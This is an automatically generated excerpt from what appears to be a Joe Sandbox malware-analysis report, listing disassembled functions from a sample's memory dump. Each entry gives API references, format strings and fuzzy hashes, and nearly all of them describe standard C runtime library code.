API String ID: 1538362411-2891247106
Opcode ID: 800a9f84e40b56898f6ee73239590a7acbbcd254132d9e7c51e03ad52da36d04
Instruction ID: 06cf9c15e7f56c3071eb920f0c70ab564cb3f03b1047a2bad8533a6838080723
Opcode Fuzzy Hash: 800a9f84e40b56898f6ee73239590a7acbbcd254132d9e7c51e03ad52da36d04
Instruction Fuzzy Hash: E5B19F7650010AAFCF19DF68CD95EFE3BE9EB04304F24459AFB06A6269D731CA10DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B40C9D Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B40CA4

Part of subcall function 00B29270: std::_Lockit::_Lockit.LIBCPMT ref: 00B292A0
Part of subcall function 00B29270: std::_Lockit::_Lockit.LIBCPMT ref: 00B292C2
Part of subcall function 00B29270: std::_Lockit::~_Lockit.LIBCPMT ref: 00B292EA
Part of subcall function 00B29270: std::_Lockit::~_Lockit.LIBCPMT ref: 00B29422

Strings

%b %d %H : %M : %S %Y, xrefs: 00B40F32
%H : %M : %S, xrefs: 00B40E3D
:AM:am:PM:pm, xrefs: 00B4100A
%I : %M : %S %p, xrefs: 00B40FFF
%d / %m / %y, xrefs: 00B40FDA
%m / %d / %y, xrefs: 00B40D9B
%H : %M, xrefs: 00B40DE3

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: dc093fa54eb6b5d4f9ac053d2aba1ed2611626ec3e271f1017b1b618041d976b
Instruction ID: efcc6da548b7d526c215b948aa401fa754b843db62c64ccae2ec459df535f6cf
Opcode Fuzzy Hash: dc093fa54eb6b5d4f9ac053d2aba1ed2611626ec3e271f1017b1b618041d976b
Instruction Fuzzy Hash: 35B19E7191010AAFCF29EFA8C995DFE3BF9EF14300F1405A9FA06A6261D631DB54EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B3BF7E Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3BF85

Part of subcall function 00B28610: std::_Lockit::_Lockit.LIBCPMT ref: 00B28657
Part of subcall function 00B28610: std::_Lockit::_Lockit.LIBCPMT ref: 00B28679
Part of subcall function 00B28610: std::_Lockit::~_Lockit.LIBCPMT ref: 00B286A1
Part of subcall function 00B28610: std::_Lockit::~_Lockit.LIBCPMT ref: 00B2880E

Strings

%b %d %H : %M : %S %Y, xrefs: 00B3C213
%H : %M : %S, xrefs: 00B3C11E
:AM:am:PM:pm, xrefs: 00B3C2EB
%I : %M : %S %p, xrefs: 00B3C2E0
%d / %m / %y, xrefs: 00B3C2BB
%m / %d / %y, xrefs: 00B3C07C
%H : %M, xrefs: 00B3C0C4

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 95d1077bd2d3dd2c1d83e3a60d3d4df15156ecd5eced0dade32c3ced41a1bf7a
Instruction ID: 3d7a7e9fa3e91b6807c7b37e013645723a930d68fc32f2dcfb3ae6cf8e44ba10
Opcode Fuzzy Hash: 95d1077bd2d3dd2c1d83e3a60d3d4df15156ecd5eced0dade32c3ced41a1bf7a
Instruction Fuzzy Hash: 09B17C7254010AAFCF19EEE8CD95DBE3FE9EB08340F254199FA06B6252D631DA10DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B38555 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B3855C
_Maklocstr.LIBCPMT ref: 00B385C5
_Maklocstr.LIBCPMT ref: 00B385D7
_Maklocchr.LIBCPMT ref: 00B385EF
_Maklocchr.LIBCPMT ref: 00B385FF
_Getvals.LIBCPMT ref: 00B38621

Part of subcall function 00B31CD4: _Maklocchr.LIBCPMT ref: 00B31D03
Part of subcall function 00B31CD4: _Maklocchr.LIBCPMT ref: 00B31D19

Strings

false, xrefs: 00B385C0
true, xrefs: 00B385D2

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Maklocchr$Maklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 3549167292-2658103896
Opcode ID: c819698b01062a50eba040cad5d6f2bf84762e60d77d4a99bdf237e123ac0f77
Instruction ID: 256abaf6dd221e23e14a11e5adc4202a2cb57292656e90f5cbedab16b615ce26
Opcode Fuzzy Hash: c819698b01062a50eba040cad5d6f2bf84762e60d77d4a99bdf237e123ac0f77
Instruction Fuzzy Hash: C12195B2D00314AADF14EFA4D885ACF7BFCEF04710F148596F9189F152DA748644CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B240B0 Relevance: 12.2, APIs: 8, Instructions: 233memorytimeCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,40000022,823FDEC6,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00B24154
LocalAlloc.KERNEL32(00000040,3FFFFFFF,823FDEC6,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00B24177
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00B24217
OpenProcess.KERNEL32(00000400,00000000,?,823FDEC6,?,?,?), ref: 00B242D2
OpenProcess.KERNEL32(00000400,00000000,?,?,823FDEC6,?,?,?), ref: 00B242F3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,823FDEC6,?,?,?), ref: 00B24326
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,823FDEC6,?,?,?), ref: 00B24337
CloseHandle.KERNEL32(00000000,?,823FDEC6,?,?,?), ref: 00B24355
CloseHandle.KERNEL32(00000000,?,823FDEC6,?,?,?), ref: 00B24371

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Process$Local$AllocCloseHandleOpenTimes$Free
String ID:
API String ID: 1424318461-0
Opcode ID: 926cd98e4c2ec4433573becd8c7e67fd103470da40370e51e943c2976e561c90
Instruction ID: 26a761602954b05388984dcd43b2fa49ad756d2f6a718a5100d33a7cf4146478
Opcode Fuzzy Hash: 926cd98e4c2ec4433573becd8c7e67fd103470da40370e51e943c2976e561c90
Instruction Fuzzy Hash: 0E81A271A00215DFCB14CFA8D985BAEBBF4FB48710F244269E929A77D0D774A9408B94

Uniqueness

Uniqueness Score: -1.00%

Function 00B4266D Relevance: 12.2, APIs: 8, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?), ref: 00B426F8
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00B42786
__alloca_probe_16.LIBCMT ref: 00B427B0
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B427F8
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00B42812
__alloca_probe_16.LIBCMT ref: 00B42838
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B42875
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00B42892

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16$CompareInfoString
String ID:
API String ID: 3603178046-0
Opcode ID: 45e3fd132ffcad6234566cd9b31a33edd92fc1b0e84fbca05338ca18d8303c8a
Instruction ID: fea1a668c3d0d30bb2a5b9452113041e524eb843c85b334c0ba0deeb8623b4b7
Opcode Fuzzy Hash: 45e3fd132ffcad6234566cd9b31a33edd92fc1b0e84fbca05338ca18d8303c8a
Instruction Fuzzy Hash: BF719035900209ABDF219FA4CC85AEE7BF6EF45750FA80199F904A7251DB75CE00FB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B4215A Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00B421A3
__alloca_probe_16.LIBCMT ref: 00B421CF
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00B4220E
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B4222B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00B4226A
__alloca_probe_16.LIBCMT ref: 00B42287
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B422C9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00B422EC

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 987618307a6c803df56da37b4279099dfe78bda6bc507914dc1eab4e6bdf1720
Instruction ID: 08155613ef4a3629ed60c922eaf66157a5e1a10af7522ddeedadae2af7124173
Opcode Fuzzy Hash: 987618307a6c803df56da37b4279099dfe78bda6bc507914dc1eab4e6bdf1720
Instruction Fuzzy Hash: 80519E7260021ABFDF209F64CC85FAA7BF9EF44740F5544A9FA15A7190DB748E10BBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B28610 Relevance: 10.7, APIs: 7, Instructions: 157memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B28657
std::_Lockit::_Lockit.LIBCPMT ref: 00B28679
std::_Lockit::~_Lockit.LIBCPMT ref: 00B286A1
LocalAlloc.KERNEL32(00000040,00000044,00000000,823FDEC6,?,00000000), ref: 00B286F9
__Getctype.LIBCPMT ref: 00B2877B
std::_Facet_Register.LIBCPMT ref: 00B287E4
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2880E

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_GetctypeLocalRegister
String ID:
API String ID: 2372200979-0
Opcode ID: 299e85e550608323bfb682abe9217059b7781afe28a492c2d56fb0db7752abde
Instruction ID: d9b55f2dcb6e5791f384a744e90760c83da2bda9ddc6654960839abd3ab85519
Opcode Fuzzy Hash: 299e85e550608323bfb682abe9217059b7781afe28a492c2d56fb0db7752abde
Instruction Fuzzy Hash: 6861E0B1D01654CFDB21DF68D940B9ABBF4FF14314F248299D849AB391EB34AE85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B29270 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B292A0
std::_Lockit::_Lockit.LIBCPMT ref: 00B292C2
std::_Lockit::~_Lockit.LIBCPMT ref: 00B292EA
LocalAlloc.KERNEL32(00000040,00000018,00000000,823FDEC6,?,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00B29342
__Getctype.LIBCPMT ref: 00B293BD
std::_Facet_Register.LIBCPMT ref: 00B293F8
std::_Lockit::~_Lockit.LIBCPMT ref: 00B29422

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_GetctypeLocalRegister
String ID:
API String ID: 2372200979-0
Opcode ID: 374a3799a42af7986b47125e640c3c7b1c0203686e624a1379b9e03d49a36881
Instruction ID: dfcfb2a79568504e941d981ce5534c3d58030a906375d52feed9d5a48711fe75
Opcode Fuzzy Hash: 374a3799a42af7986b47125e640c3c7b1c0203686e624a1379b9e03d49a36881
Instruction Fuzzy Hash: 19519771904228DFCB21DF68D844BAEBBF4EF14714F248199E84DAB391DB74AE41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B43F20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00B43F57
___except_validate_context_record.LIBVCRUNTIME ref: 00B43F5F
_ValidateLocalCookies.LIBCMT ref: 00B43FE8
__IsNonwritableInCurrentImage.LIBCMT ref: 00B44013
_ValidateLocalCookies.LIBCMT ref: 00B44068

Strings

csm, xrefs: 00B43FFD

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8a199f06257f3e5f6e137fb373868bad3103f0fcf89a01ac928e4326d2ea7154
Instruction ID: f77e06773f1acff27c45ae3431cd42f21af32478f094bec19d6518022aef0992
Opcode Fuzzy Hash: 8a199f06257f3e5f6e137fb373868bad3103f0fcf89a01ac928e4326d2ea7154
Instruction Fuzzy Hash: 7E419134E00209ABCF10DF68C881A9EBBF5FF45718F188199E9189B392CB759F15DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B572FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00B57408,00B53841,0000000C,?,00000000,00000000,?,00B57632,00000021,FlsSetValue,00B6BD58,00B6BD60,?), ref: 00B573BC

Strings

api-ms-, xrefs: 00B57352
ext-ms-, xrefs: 00B57366

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 11d066c106a82ac3dcd973c82b65421e476c88718b4a8f27aac452aae0155d51
Instruction ID: 361af390cee88585a81d30f6e83cc1747f5172231d883f218d2f9e77405cbbca
Opcode Fuzzy Hash: 11d066c106a82ac3dcd973c82b65421e476c88718b4a8f27aac452aae0155d51
Instruction Fuzzy Hash: 5C21D131B89211ABCB219B64AC45B6E37E8DF42771B2401E0ED15E7290EF74EE05D6A4

Uniqueness

Uniqueness Score: -1.00%

Function 00B2B500 Relevance: 9.2, APIs: 6, Instructions: 151memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B2B531
std::_Lockit::_Lockit.LIBCPMT ref: 00B2B54F
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2B577
LocalAlloc.KERNEL32(00000040,0000000C,00000000,823FDEC6,?,00000000,00000000), ref: 00B2B5CF
std::_Facet_Register.LIBCPMT ref: 00B2B6B7
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2B6E1

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_LocalRegister
String ID:
API String ID: 3931714976-0
Opcode ID: ca41067b2a2000b837ae9ae879f2c26b2cc8798dcb464adb434d9f27111c6912
Instruction ID: 55b9439108d161362b19aa4f6adf44f6c1013e8f9f6d3c4dc80a3f56373f5df1
Opcode Fuzzy Hash: ca41067b2a2000b837ae9ae879f2c26b2cc8798dcb464adb434d9f27111c6912
Instruction Fuzzy Hash: 1A51AD71900218DFDB12DF58D890BAEBBF4FF14314F244599E819AB391DBB5EA44CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00B2B700 Relevance: 9.1, APIs: 6, Instructions: 128memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B2B731
std::_Lockit::_Lockit.LIBCPMT ref: 00B2B74F
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2B777
LocalAlloc.KERNEL32(00000040,00000008,00000000,823FDEC6,?,00000000,00000000), ref: 00B2B7CF
std::_Facet_Register.LIBCPMT ref: 00B2B863
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2B88D

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_LocalRegister
String ID:
API String ID: 3931714976-0
Opcode ID: 83d5a42d46c4583e28aee5b1f930c549a4262e2a22ad6edf4b14adf64f815f57
Instruction ID: f969b5ac99498780fbd7beb82dbab4cb84e6be87fe45c2be34c1387336848ab0
Opcode Fuzzy Hash: 83d5a42d46c4583e28aee5b1f930c549a4262e2a22ad6edf4b14adf64f815f57
Instruction Fuzzy Hash: A6517D71904224DFCB11DF98D890B9EBBF4EF14314F24859DE859AB391DB74AE40CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00B50351 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 369COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B5043B
__freea.LIBCMT ref: 00B504D1
__freea.LIBCMT ref: 00B504ED

Strings

am/pm, xrefs: 00B50551
a/p, xrefs: 00B505B5

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: f72d6361ab92ba1f84eb0b8cf1bc9fd54d96fca18bdff96eff69dd3551eb4ee6
Instruction ID: 60d9783723c7f1c034eb423267239d13aef0b88a3a87d3a505bc85dff9a7d0f4
Opcode Fuzzy Hash: f72d6361ab92ba1f84eb0b8cf1bc9fd54d96fca18bdff96eff69dd3551eb4ee6
Instruction Fuzzy Hash: A2C1DE35920206DBDB24AF68C989BBA77F0FF59302F2440C9ED05AB250D331AD49DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B45978 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B4596F,00B44900,00B4358F), ref: 00B45986
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B45994
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B459AD
SetLastError.KERNEL32(00000000,00B4596F,00B44900,00B4358F), ref: 00B459FF

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 62710e7365c2ec2ad963f3a0fced625f1d5c586e5dd3d659564c1d1533990b81
Instruction ID: fa8a6e134ddabce38a7203875b150ad04ee3e7ddd64c7d2469df7fe7c04c8a99
Opcode Fuzzy Hash: 62710e7365c2ec2ad963f3a0fced625f1d5c586e5dd3d659564c1d1533990b81
Instruction Fuzzy Hash: 41018433209F12EFE63426B47C86E6A2BD4EB0277A72003ADF518961E2FE514D81B1D1

Uniqueness

Uniqueness Score: -1.00%

Function 00B23230 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 260fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,823FDEC6,?,00000004), ref: 00B23294
MoveFileW.KERNEL32(?,00000000), ref: 00B2354A
DeleteFileW.KERNEL32(?), ref: 00B23592

Part of subcall function 00B21A70: LocalAlloc.KERNEL32(00000040,80000022), ref: 00B21AF7
Part of subcall function 00B21A70: LocalFree.KERNEL32(7FFFFFFE), ref: 00B21B7D

Part of subcall function 00B22E60: LocalFree.KERNEL32(?,823FDEC6,?,?,00B63C40,000000FF,?,00B21242,823FDEC6,?,?,00B63C75,000000FF), ref: 00B22EB1

Strings

url, xrefs: 00B233B9, 00B23575
URL, xrefs: 00B2328E, 00B2357A

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: FileLocal$Free$AllocDeleteMoveNameTemp
String ID: URL$url
API String ID: 853893950-346267919
Opcode ID: d97b07fca1b428d73e6fe29375fcbbf71363414eb69e1c56edb7cf2293bc4dc0
Instruction ID: af282e79734e8d90b206419295cbeaf7c672c775be214548d6abf1eeb73b597d
Opcode Fuzzy Hash: d97b07fca1b428d73e6fe29375fcbbf71363414eb69e1c56edb7cf2293bc4dc0
Instruction Fuzzy Hash: 66C135709142689ADB24DF28DC987EDBBF4BF14704F1042D9D00DA7291EBB96B88CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00B236D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00B23735
GetLastError.KERNEL32(?,?,?,00B64215,000000FF), ref: 00B2381A

Part of subcall function 00B22310: GetProcessHeap.KERNEL32 ref: 00B22365

Part of subcall function 00B246F0: FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,?,?,?,?,00B23778,-00000010,?,?,?,00B64215,000000FF), ref: 00B24736

